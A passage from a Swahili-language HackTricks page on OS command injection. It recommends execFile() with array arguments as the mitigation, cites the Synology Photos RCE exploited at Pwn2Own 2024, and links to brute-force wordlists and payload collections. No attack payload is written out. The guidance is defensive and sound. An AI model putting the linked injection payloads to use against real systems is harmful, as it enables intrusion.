**Mitigation:** tumia `execFile()` (au `spawn()` bila chaguo la `shell`) na toa **kila hoja kama kipengele tofauti cha array** ili shell isihusike:
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
```
Mifano halisi: *Synology Photos* ≤ 1.7.0-0794 ilitumiwa kupitia tukio la WebSocket lisilo na uthibitisho ambalo lilihifadhi data inayodhibitiwa na mshambuliaji ndani ya `id_user` ambayo baadaye ilijumuishwa katika wito wa `exec()`, ikipata RCE (Pwn2Own Ireland 2024).
## Orodha ya Ugunduzi wa Brute-Force
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
@ -125,7 +147,9 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
## Marejeleo
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
{{#include ../banners/hacktricks-training.md}}